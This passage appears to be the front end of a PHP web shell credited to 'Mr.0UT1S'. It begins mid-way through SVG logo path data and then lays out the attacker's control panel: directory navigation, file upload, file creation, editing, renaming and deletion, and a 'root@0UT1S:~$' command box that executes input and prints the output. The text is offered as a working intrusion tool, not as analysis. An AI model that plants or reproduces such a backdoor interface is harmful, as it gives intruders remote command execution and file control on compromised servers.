1v2l-2 2v2l-1 1v1l-1 1v2l-2 2v2l-1 1v2l-1 1v2l-1 1v1l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v3l-1 1v3l-1 1v2l-1 1v3l-1 1v4l-1 1v3l-2 2v1l-4 4v1l-2 2v1l-1 1 1-1v-1l5-5v-1l2-2v-1l1-1v-3l1-1v-4l1-1v-3l1-1v-2l1-1v-3l1-1v-3l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-1l1-1v-2l1-1v-2l1-1v-1l1-1v-1l1-1v-2l1-1v-1l1-1v-1l1-1v-1l1-1v-1l1-1v-2l2-2v-1l1-1v-1l2-2v-1l1-1v-1l1-1v-1l2-2v-1l2-2v-1l3-3v-1l3-3v-1l12-12h1l3-3h1l2-2h1l1-1h1l1-1h1l1-1h1l1-1h1l1-1h2l1-1h3l1-1h4l1-1h12l1 1h4l1 1h3l1 1h2l1 1h2l1 1h2l1 1h2l1 1h5l1 1h4l1-1h5l1-1h2l1-1h2l1-1h2l1-1h2l1-1h3l1-1h4l1-1h12l1 1h4l1 1h3l1 1h2l1 1h1l1 1h1l1 1h1l1 1h1l2 2h1l2 2h1l2 2h1l11 11v1l3 3v1l3 3v1l2 2v1l2 2v1l2 2v1l1 1v1l1 1v1l2 2v1l1 1v1l1 1v1l1 1v1l1 1v2l2 2v2l1 1v1l1 1v2l1 1v1l1 1v1l1 1v2l1 1v2l1 1v1l1 1v3l1 1v1l1 1v2l1 1v3l1 1v2l1 1v3l1 1v2l1 1v3l1 1v3l1 1v3l1 1v4l3 3v1l5 5v1l1 1-1-1v-1l-2-2v-1l-5-5v-1l-1-1v-3l-1-1v-3l-1-1v-3l-1-1v-3l-1-1v-2l-1-1v-3l-1-1v-2l-1-1v-3l-1-1v-2l-1-1v-1l-1-1v-3l-1-1v-1l-1-1v-2l-1-1v-2l-1-1v-1l-1-1v-2l-1-1v-1l-1-1v-1l-1-1v-2l-1-1v-1l-1-1v-1l-1-1v-2l-1-1v-1l-2-2v-1l-1-1v-1l-1-1v-1l-1-1v-1l-2-2v-1l-1-1v-1l-2-2v-1l-2-2v-1l-3-3v-1l-6-6v-1l-4-4h-1l-5-5h-1l-2-2h-1l-2-2h-1l-1-1h-1l-1-1h-1l-1-1h-1l-1-1h-3l-1-1h-3l-1-1h-4l-1-1h-12l-1 1h-4l-1 1h-3l-1 1h-2l-1 1h-2l-1 1h-2l-1 1h-2l-1 1h-5l-1 1h-4l-1-1h-5l-1-1h-2l-1-1h-1l-1-1h-3l-1-1h-2l-1-1h-3l-1-1h-4l-1-1Z" fill="none" stroke="#0ff" stroke-width="2"/> <path d="m315 106-1 1h-1l-1 1h-1l-1 1h-10l-1 1h-7l-1 1h-4l-1 1h-2l-1 1h-3l-1 1h-2l-1 1h-1l-1 1h-1l-1 1h-1l-1 1h-1l-1 1h-1l-1 1h-1l-2 2h-1l-5 5h-1l-5 5v1l-4 4v1l-2 2v1l-2 2v1l-1 1v1l-1 1v1l-1 1v1l-1 1v1l-1 1v1l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v3l-1 1v3l-1 1v5l-1 1v7l-1 1v11l-1 1v2l-1 1v2l-1 1v1l-1 1v2l-1 1v3l-1 1v1l-1 1v2l-1 1v2l-1 1v1l-1 1v3l-1 1v2l-1 1v1l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v1l-1 1v2l-1 1v2l-1 1v2l-1 1v1l-1 1v3l-1 1v1l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v1l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v1l-1 1v2l-1 1v2l-1 1v1l-1 1v2l-1 1v1-1l1-1v-2l1-1v-1l1-1v-2l1-1v-1l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-1l1-1v-2l1-1v-2l1-1v-2l1-1v-1l1-1v-3l1-1v-1l1-1v-3l1-1v-1l1-1v-2l1-1v-2l1-1v-2l1-1v-1l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-1l1-1v-2l1-1v-3l1-1v-1l1-1v-2l1-1v-2l1-1v-1l1-1v-3l1-1v-1l1-1v-2l1-1v-2l1-1v-2l1-1v-11l1-1v-7l1-1v-5l1-1v-3l1-1v-3l1-1v-2l1-1v-2l1-1v-1l1-1v-3l2-2v-2l1-1v-1l1-1v-1l2-2v-1l1-1v-1l2-2v-1l3-3v-1l10-10h1l3-3h1l2-2h1l1-1h1l2-2h2l2-2h2l1-1h1l1-1h3l1-1h2l1-1h4l1-1h7l1-1h11l2-2h1l1-1h11l3 3h12l1 1h7l1 1h4l1 1h3l1 1h2l1 1h2l1 1h2l1 1h1l1 1h1l1 1h1l1 1h1l2 2h1l2 2h1l3 3h1l10 10v1l3 3v1l2 2v1l2 2v1l1 1v1l1 1v1l1 1v1l1 1v2l1 1v1l1 1v1l1 1v3l1 1v3l1 1v3l1 1v4l1 1v5l1 1v13l1 1v3l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v1l1 1v3l1 1v1l1 1v2l1 1v3l1 1v2l1 1v1l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v1l1 1v2l1 1v1-1l-1-1v-2l-1-1v-1l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-1l-1-1v-2l-1-1v-3l-1-1v-2l-1-1v-1l-1-1v-3l-1-1v-1l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-3l-1-1v-13l-1-1v-5l-1-1v-4l-1-1v-3l-1-1v-3l-1-1v-3l-1-1v-2l-1-1v-1l-1-1v-1l-1-1v-2l-1-1v-1l-1-1v-1l-2-2v-1l-1-1v-1l-2-2v-1l-5-5v-1l-6-6h-1l-3-3h-1l-2-2h-1l-2-2h-1l-1-1h-1l-2-2h-2l-1-1h-1l-1-1h-2l-1-1h-2l-1-1h-2l-1-1h-3l-1-1h-4l-1-1h-7l-1-1h-11l-2-2h-1l-1-1Z" fill="none" stroke="#0ff" stroke-width="2"/> <path d="m313 104-1 1h-1l-2 2h-13l-1 1h-5l-1 1h-4l-1 1h-2l-1 1h-2l-1 1h-2l-1 1h-2l-1 1h-1l-1 1h-1l-1 1h-1l-1 1h-1l-2 2h-1l-3 3h-1l-4 4h-1v1l-7 7v1l-3 3v1l-2 2v1l-1 1v1l-1 1v1l-1 1v1l-1 1v1l-1 1v1l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v4l-1 1v3l-1 1v7l-1 1v14l-1 1v2l-1 1v1l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v1l-1 1v2l-1 1v2l-1 1v2l-1 1v1l-1 1v3l-1 1v1l-1 1v2l-1 1v2l-1 1v2l-1 1v1l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v1l-1 1v2l-1 1v2l-1 1v1l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v1l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v1l-1 1v3l-1 1v2l-1 1v1l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v1l-1 1v2l-1 1v3l-1 1v15l1 1v1l1 1v3l1 1v1l2 2v1l8 8h1l1 1v1l-1 1h-3l-1 1h-2l-1 1h-2l-1 1h-3l-1 1h-2l-1 1h-3l-1 1h-2l-1 1h-2l-1 1h-3l-1 1h-2l-1 1h-2l-1 1h-2l-1 1h-2l-1 1h-1l-1 1h-2l-2 2h-1l-2 2h-1l-2 2h-1l-2 2h-1l-2 2h-1l-2 2h-1l-2 2h-1l-1 1h-1l-2 2h-1l-2 2h-1l-5 5-1-1h-1l-1-1h-5l-1 1h-2l-1 1h-1l-1 1h-1l-1 1h-1l-1 1h-1l-1 1h-1l-1 1h-1l-7 7v1l-2 2v1l-1 1v1l-1 1v1l-1 1v1l-1 1v1l-1 1v1l-2 2v1l-1 1v1l-1 1v1l-1 1v1l-1 1v1l-2 2v1l-1 1v1l-1 1v1l-1 1v1l-2 2v1l-1 1v1l-1 1v1l-2 2v2l-2 2v1l-1 1v1l-8 8v1l-5 5v1l-1 1h-1v1l-5 5v1l-7 7v1L4 533H3l-2 2H0h1l1-1h1l2-2h1l16-16v-1l8-8v-1l6-6v-1l7-7 1 1h1-1l-1-1v-1l8-8v-1l1-1v-1l1-1v-1l1-1v-1l2-2v-1l1-1v-1l1-1v-1l2-2v-1l1-1v-1l1-1v-1l1-1v-1l1-1v-1l2-2v-1l1-1v-1l1-1v-1l1-1v-1l1-1v-1l2-2v-1l1-1v-1l1-1v-1l1-1v-1l1-1v-1l2-2v-1l8-8h1l1-1h1l1-1h1l1-1h1l2-2h1l1-1h2l1-1h5l1 1h1l1 1 1-1h1l4-4h1l2-2h1l2-2h1l1-1h1l2-2h1l2-2h1l2-2h1l2-2h1l2-2h1l2-2h1l2-2h1l1-1h1l1-1h2l1-1h2l1-1h2l1-1h2l1-1h3l1-1h2l1-1h2l1-1h3l1-1h2l1-1h3l1-1h2l1-1h2l1-1h3l1-1v-2h-1l-3-3h-1l-2-2v-1l-4-4v-1l-1-1v-1l-1-1v-2l-1-1v-1l-1-1v-15l1-1v-3l1-1v-2l1-1v-1l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-1l1-1v-2l1-1v-3l1-1v-1l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-1l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-1l1-1v-2l1-1v-2l1-1v-2l1-1v-1l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-1l1-1v-2l1-1v-2l1-1v-2l1-1v-1l1-1v-3l1-1v-1l1-1v-2l1-1v-2l1-1v-2l1-1v-1l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-1l1-1v-2l1-1v-14l1-1v-7l1-1v-3l1-1v-4l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-1l1-1v-1l2-2v-1l1-1v-1l1-1v-1l2-2v-1l2-2v-1l4-4v-1l6-6h1l5-5h1l2-2h1l1-1h1l1-1h1l2-2h2l1-1h1l1-1h2l1-1h2l1-1h2l1-1h4l1-1h5l1-1h13l1-1h1l2-2h15l3 3h14l1 1h6l1 1h3l1 1h3l1 1h2l1 1h1l1 1h2l1 1h1l1 1h2l2 2h1l1 1h1l1 1h1l3 3h1l3 3h1l7 7v1l5 5v1l2 2v1l1 1v1l2 2v1l1 1v1l1 1v2l1 1v1l1 1v1l1 1v2l1 1v2l1 1v2l1 1v3l1 1v3l1 1v6l1 1v6l1 1v11l1 1v2l1 1v3l1 1v1l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v1l1 1v3l1 1v2l1 1v2l1 1v2l1 1v1l1 1v3l1 1v2l1 1v1l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v2l1 1v3l1 1v1l1 1v2l1 1v2l1 1v1l1 1v1l1 1v2l1 1v3l1 1v4l1 1v8l-1 1v3l-1 1v2l-1 1v1l-1 1v1l-1 1v1l-10 10-1-1v-1l9-9v-1l1-1v-1l1-1v-1l1-1v-3l1-1v-13l-1-1v-3l-1-1v-1l-1-1v-2l-1-1v-1l-1-1v-2l-1-1v-1l-1-1v-1l-1-1v-1l-1-1v-1l-3-3v-1l-3-3v-1l-5-5v-1l-3-3v-2l-1-1v-3l-1-1v-4l-1-1v-3l-1-1v-3l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-3l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-1l-1-1v-2l-1-1v-2l-1-1v-1l-1-1v-2l-1-1v-1l-1-1v-1l-1-1v-1l-1-1v-1l-1-1v-2l-1-1v-1l-1-1v-1l-1-1v-1l-2-2v-1l-1-1v-1l-1-1v-1l-2-2v-1l-2-2v-1l-2-2v-1l-3-3v-1l-3-3v-1l-10-10h-1l-2-2h-1l-2-2h-1l-2-2h-1l-1-1h-1l-1-1h-1l-1-1h-2l-1-1h-2l-1-1h-3l-1-1h-18l-1 1h-3l-1 1h-3l-1 1h-2l-1 1h-1l-1 1h-2l-1 1h-4l-1 1h-11l-1-1h-4l-1-1h-1l-1-1h-2l-1-1h-2l-1-1h-2l-1-1h-4l-1-1h-17l-1 1h-3l-1 1h-3l-1 1h-1l-1 1h-1l-1 1h-1l-1 1h-1l-1 1h-1l-2 2h-1l-3 3h-1l-11 11v1l-3 3v1l-3 3v1l-2 2v1l-2 2v1l-1 1v1l-1 1v1l-2 2v1l-1 1v1l-1 1v1l-1 1v1l-1 1v1l-1 1v1l-1 1v1l-1 1v1l-1 1v2l-1 1v1l-1 1v2l-1 1v2l-1 1v1l-1 1v1l-1 1v3l-1 1v1l-1 1v3l-1 1v2l-1 1v2l-1 1v2l-1 1v3l-1 1v3l-1 1v3l-1 1v3l-1 1v4l-1 1v1l-1 1v1l-2 2v1l-5 5v1l-3 3v1l-2 2v1l-2 2v1l-1 1v1l-1 1v1l-1 1v1l-1 1v1l-1 1v2l-1 1v2l-1 1v3l-1 1v4l-1 1v7l1 1v4l1 1v2l1 1v1l1 1v1l4 4v1l1 1h1l3 3h1l2 2h1l1 1 1-1h3l1-1h3l1-1h2l1-1h3l1-1h3l1-1h2l1 1-2 2h-2l-1 1h-3l-1 1h-3l-1 1h-2l-1 1h-2l-1 1h-4l-1 1h-2l-1 1h-2l-1 1h-3l-1 1h-2l-1 1h-3l-1 1h-3l-1 1h-2l-1 1h-2l-1 1h-2l-1 1h-2l-1 1h-3l-1 1h-2l-1 1h-2l-1 1h-2l-1 1h-2l-1 1h-1l-2 2h-1l-2 2h-1l-2 2h-1l-2 2h-1l-2 2h-1l-2 2h-1l-2 2h-1l-1 1h-1l-2 2h-1l-2 2h-1l-4 4h-1l-7 7h-1l-12 12h-1l-1-1 13-13h1l3-3v-2h-6l-1 1h-2l-2 2h-1l-1 1h-1l-1 1h-1l-1 1h-1l-7 7v1l-2 2v1l-1 1v1l-1 1v1l-1 1v1l-1 1v1l-2 2v1l-1 1v1l-1 1v1l-1 1v1l-1 1v1l-2 2v1l-1 1v1l-1 1v1l-1 1v1l-1 1v1l-2 2v1l-1 1v1l-1 1v1l-2 2v1l-1 1v1l-1 1v1l-1 1v1l-2 2v1l-2 2v1l-1 1v1l-1 1v1l-1 1v1l-1 1v1l-2 2v1l-1 1v1l-2 2v1l-2 2v1l-1 1v1l-1 1v1l-2 2v1l-2 2v1l-2 2v1l-2 2v1l-2 2v1l-6 6h-1l-1-1 6-6v-1l2-2v-1l2-2v-1l2-2v-1l2-2v-1l2-2v-1l1-1v-1l1-1v-1l2-2v-1l2-2v-1l1-1-1 1v1l-3 3v1l-1 1v1l-2 2v1l-2 2v1l-2 2v1l-2 2v1l-1 1v1l-3 3v1l-4 4v1l-1 1h-1v2h3l3-3v-1l3-3v-1l3-3v-1l1-1v-1l2-2v-1l2-2v-1l1-1v-1l2-2v-1l2-2v-1l1-1v-1l2-2v-1l2-2v-1l1-1v-1l1-1v-1l1-1v-1l1-1v-1l2-2v-1l1-1v-1l2-2v-1l1-1v-1l1-1v-1l1-1v-1l2-2v-1l1-1v-1l1-1v-1l2-2v-1l1-1v-1l1-1v-1l1-1v-1l2-2v-1l1-1v-1l1-1v-1l1-1v-1l1-1v-1l1-1v-1l1-1v-1l2-2v-1l1-1v-1l1-1v-1l1-1v-1l3-3v-1l3-3h1l2-2h1l1-1h1l1-1h1l1-1h1l2-2h1l1-1h5l1 1-5 5h-1v1l-1 1h-1l-9 9v1l1 1v1h1l16-16h1l5-5h1l4-4h1l2-2h1l1-1h1l2-2h1l2-2h1l2-2h1l1-1h1l3-3h1l2-2h1l1-1 2 2h26l1-1h7l1-1h5l1-1h4l1-1h4l1-1h3l1-1h3l1-1h3l1-1h2l1-1h2l1-1h2l1-1h2l1-1h2l1-1h1l1-1h2l1-1h1l1-1h2l1-1h1l1-1h1v-3h-2l-2 2h-2l-1 1h-1l-1 1h-1l-1 1h-2l-1 1h-1l-1 1h-2l-1 1h-2l-1 1h-2l-1 1h-2l-1 1h-3l-1 1h-2l-1 1h-3l-1 1h-4l-1 1h-4l-1 1h-4l-1 1h-6l-1 1h-15l-1 1h-8l-1-1h-2l-1 1 1-1h2l1 1h8l1-1h15l1-1h6l1-1h4l1-1h4l1-1h4l1-1h3l1-1h2l1-1h3l1-1h2l1-1h2l1-1h2l1-1h2l1-1h1l1-1h2l1-1h1l1-1h2l1-1h1l1-1h1l1-1 1 1v1l-1 1h-1l-1 1h-1l-1 1h-1l-1 1h-1l-1 1h-2l-1 1h-2l-1 1h-1l-1 1h-2l-1 1h-2l-1 1h-2l-1 1h-2l-1 1h-3l-1 1h-3l-1 1h-3l-1 1h-4l-1 1h-4l-1 1h-5l-1 1h-7l-1 1h-25l-1-1h-1l-1-1 2-2h1l1-1h2l1-1h2l1-1h2l1-1h2l1-1h3l1-1h2l1-1h2l1-1h2l1-1h2l1-1h3l1-1h3l1-1h2l1-1h3l1-1h2l1-1h2l1-1h4l1-1h2l1-1h2l1-1h3l1-1h3l1-1h3l1-1v-2h-3l-1 1h-3l-1 1h-3l-1 1h-2l-1 1h-3l-1 1h-3l-1 1-2-2h-1l-3-3h-1l-4-4v-1l-3-3v-1l-1-1v-1l-1-1v-1l-1-1v-4l-1-1v-7l1-1v-4l1-1v-3l1-1v-1l1-1v-2l1-1v-1l1-1v-1l1-1v-1l1-1v-1l1-1v-1l2-2v-1l2-2v-1l3-3v-1l3-3v-1l4-4v-1l1-1v-2l1-1v-4l1-1v-3l1-1v-3l1-1v-3l1-1v-3l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-1l1-1v-2l1-1v-2l1-1v-2l1-1v-1l1-1v-1l1-1v-1l1-1v-1l1-1v-1l1-1v-1l1-1v-1l1-1v-1l1-1v-1l1-1v-1l1-1v-1l2-2v-1l1-1v-1l2-2v-1l2-2v-1l2-2v-1l3-3v-1l14-14h1l2-2h1l2-2h1l2-2h1l1-1h2l2-2h3l1-1h3l1-1h17l1 1h4l1 1h2l1 1h2l1 1h1l1 1h2l1 1h4l1 1h11l1-1h4l1-1h2l1-1h1l1-1h2l1-1h3l1-1h3l1-1h18l1 1h3l1 1h2l1 1h1l1 1h1l1 1h1l1 1h1l1 1h1l2 2h1l3 3h1l12 12v1l4 4v1l2 2v1l2 2v1l2 2v1l1 1v1l2 2v1l1 1v1l1 1v1l1 1v1l1 1v1l1 1v1l1 1v1l1 1v1l1 1v2l2 2v2l1 1v2l1 1v1l1 1v2l1 1v1l1 1v2l1 1v2l1 1v3l1 1v2l1 1v2l1 1v2l1 1v2l1 1v3l1 1v3l1 1v4l1 1v3l1 1v3l5 5v1l4 4v1l2 2v1l3 3v1l1 1v1l1 1v1l1 1v1l1 1v1l1 1v2l1 1v1l1 1v1l1 1v3l1 1v13l-1 1v3l-1 1v1l-2 2v1l-2 2v1l-4 4h-1l-4 4h-3l-1-1h-3l-1-1h-3l-1-1h-3l1 1-1 1h1l1 1h3l1 1h3l1 1h1l1 1h4l1 1h2l1 1h3l1 1h2l1 1h3l1 1h3l1 1h2l1 1h2l1 1h3l1 1h2l1 1h2l1 1h3l1 1h2l1 1h2l1 1h2l1 1h2l1 1h2l1 1h2-2l-1-1h-2l-1-1h-2l-1-1h-2l-1-1h-2l-1-1h-2l-1-1h-3l-1-1h-2l-1-1h-2l-1-1h-3l-1-1h-2l-1-1h-2l-1-1h-3l-1-1h-3l-1-1h-2l-1-1h-3l-1-1h-2l-1-1h-3l-1-1h-2l-1-1h-3l-1-1h-2l-2-2 1-1h1l1 1h3l1 1h3l1 1h3l1-1 3 3h2l1 1h3l1 1h2l1 1h3l1 1h2l1 1h3l1 1h3l1 1h2l1 1h2l1 1h2l1 1h3l1 1h2l1 1h2l1 1h2l1 1h2l1 1h2l1 1h2l2 2h1l2 2h1l2 2h1l2 2h1l2 2h1l2 2h1l1 1h1l2 2h1l2 2h1l2 2h1l3 3h1l2 2h1l1 1 1-1h1l1-1h4l1 1h2l1 1h1l1 1h1l1 1h1l2 2h2l3 3h1l4 4v1l2 2v1l2 2v1l1 1v1l1 1v1l1 1v1l1 1v1l1 1v1l2 2v1l1 1v1l1 1v1l1 1v1l2 2v1l1 1v1l1 1v1l1 1v1l1 1v1l2 2v1l1 1v1l1 1v1l2 2v1l1 1v1l1 1v1l3 3v1l7 7v1l8 8v1l8 8v1l12 12-3-3v-1h-1l-1-1v-1l-10-10v-1l-7-7v-1l-6-6v-1l-7-7v-1h-1l-1-1v-1l-1-1v-1l-2-2v-1l-1-1v-1l-1-1v-1l-2-2v-2l-2-2v-1l-1-1v-1l-1-1v-1l-1-1v-1l-2-2v-1l-1-1v-1l-1-1v-1l-2-2v-1l-1-1v-1l-1-1v-1l-1-1v-1l-1-1v-1l-1-1v-1l-1-1v-1l-2-2v-1l-1-1v-1l-3-3v-1l-2-2h-1l-2-2h-1l-1-1h-1l-1-1h-1l-2-2h-1l-1-1h-2l-1-1h-2l-1-1h-4l-1 1h-1l-1 1-2-2h-1l-4-4h-1l-2-2h-1l-2-2h-1l-1-1h-1l-2-2h-1l-2-2h-1l-1-1h-1l-2-2h-1l-3-3h-1l-2-2h-1l-1-1h-1l-1-1h-2l-1-1h-2l-1-1h-2l-1-1h-2l-1-1h-2l-1-1h-2l-1-1h-3l-1-1h-2l-1-1h-2l-1-1h-2l-1-1h-3l-1-1h-3l-1-1h-2l-1-1h-3l-1-1h-2l-1-1h-3l-1-1h-2l-1-1 2-2h1l6-6v-1l2-2v-1l1-1v-1l1-1v-3l1-1v-3l1-1v-8l-1-1v-4l-1-1v-3l-1-1v-2l-1-1v-1l-1-1v-2l-1-1v-1l-1-1v-2l-1-1v-1l-1-1v-3l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-1l-1-1v-2l-1-1v-3l-1-1v-1l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-3l-1-1v-1l-1-1v-2l-1-1v-2l-1-1v-3l-1-1v-1l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-1l-1-1v-3l-1-1v-2l-1-1v-11l-1-1v-6l-1-1v-6l-1-1v-3l-1-1v-3l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-2l-1-1v-1l-1-1v-1l-1-1v-1l-1-1v-1l-1-1v-1l-1-1v-1l-2-2v-1l-2-2v-1l-5-5v-1h-1l-7-7h-1l-3-3h-1l-1-1h-1l-2-2h-1l-1-1h-1l-1-1h-1l-1-1h-1l-1-1h-2l-1-1h-2l-1-1h-2l-1-1h-3l-1-1h-3l-1-1h-6l-1-1h-13l-2-2h-1l-1-1Z" fill="none" stroke="#0ff" stroke-width="2"/> </svg> </div> <div class="container path"> <?php $pathParts = explode(DIRECTORY_SEPARATOR, $currentDir); $currentPath = ""; foreach ($pathParts as $index => $part) { if ($part !== "") { $currentPath .= ($index == 0 ? "" : DIRECTORY_SEPARATOR) . $part; echo '<a href="?path=' . htmlspecialchars($currentPath) . '">' . htmlspecialchars($part) . '</a>/'; } } ?> </div> <div class="container upload-section"> <form method="get"> <button type="submit" name="path" value="<?php echo htmlspecialchars($homeDir); ?>" class="upload-btn">Go to Home Directory</button> </form> <form id="upload-form" method="post" enctype="multipart/form-data"> <div class="file-input-container"> <input type="file" name="file[]"> <button type="button" class="upload-btn" onclick="addUploadField()">+</button> </div> <button type="submit" class="upload-btn" id="upload-button">Upload</button> </form> <form method="post"> <input type="text" name="newFileName" placeholder="Enter filename to create" required> <button type="submit" name="createFile" class="upload-btn">Create File</button> </form> </div> <div class="container command-box"> <form method="post" style="display: flex; width: 100%; gap: 10px; justify-content: center; align-items: center;"> <label style="color: #0f0;">root@0UT1S:~$</label> <input type="text" name="command" placeholder="Enter command..." required autofocus style="flex-grow: 1;"> <button type="submit" class="upload-btn">Execute</button> </form> </div> <div class="container"> <h3>By Order of Mr.0UT1S</h3> <?php if (!empty($output)): ?> <pre><?php echo htmlspecialchars($output); ?></pre> <?php endif; ?> </div> <div class="container"> <div class="dir-list"> <?php foreach ($dirContents as $item) { $itemPath = realpath($currentDir . DIRECTORY_SEPARATOR . $item); echo '<div class="dir-list-item">'; if (is_dir($itemPath)) { echo '<a href="?path=' . htmlspecialchars($itemPath) . '">[DIR] ' . htmlspecialchars($item) . '</a>'; echo '<div class="file-size">N/A</div>'; } else { echo '<a href="?path=' . htmlspecialchars($currentDir) . '&edit=' . htmlspecialchars($itemPath) . '">' . htmlspecialchars($item) . '</a>'; $fileSize = formatSize(filesize($itemPath)); echo '<div class="file-size">' . $fileSize . '</div>'; } // Add the rename and delete buttons for files if (!is_dir($itemPath)) { echo '<div class="button-container"> <button onclick="promptForRename(\'' . htmlspecialchars($itemPath) . '\', \'' . htmlspecialchars($item) . '\')">Rename</button> <form method="post" style="display:inline;"> <button type="submit" name="delete" value="' . htmlspecialchars($itemPath) . '" class="upload-btn">Delete</button> </form> </div>'; } echo '</div>'; } ?> </div> </div> <footer><p>This shell is coded by Mr.0UT1S</p></footer> <?php if ($fileToEdit): ?> <div class="textarea-container"> <form method="POST"> <textarea name="newContent"><?php echo htmlspecialchars($fileContent); ?></textarea> <br> <button type="submit" class="upload-btn">Save</button> </form> </div> <?php endif; ?> <script> function addUploadField() { let container = document.createElement("div"); container.classList.add("file-input-container"); let input = document.createElement("input"); input.type = "file"; input.name = "file[]"; document.getElementById("upload-form").insertBefore(container, document.getElementById("upload-button")); container.appendChild(input); } function promptForRename(filePath, currentName) { let newName = prompt("Enter new name for: " + currentName, currentName); if (newName && newName !== currentName) { let form = document.createElement('form'); form.method = 'POST'; form.action = ''; let oldNameInput = document.createElement('input'); oldNameInput.type = 'hidden'; oldNameInput.name = 'oldName'; oldNameInput.value = filePath; let newNameInput = document.createElement('input'); newNameInput.type = 'hidden'; newNameInput.name = 'newName'; newNameInput.value = filePath.replace(currentName, newName); let renameInput = document.createElement('input'); renameInput.type = 'hidden'; renameInput.name = 'rename'; renameInput.value = 'true'; form.appendChild(oldNameInput); form.appendChild(newNameInput); form.appendChild(renameInput); document.body.appendChild(form); form.submit(); } } </script> </body> </html>
Save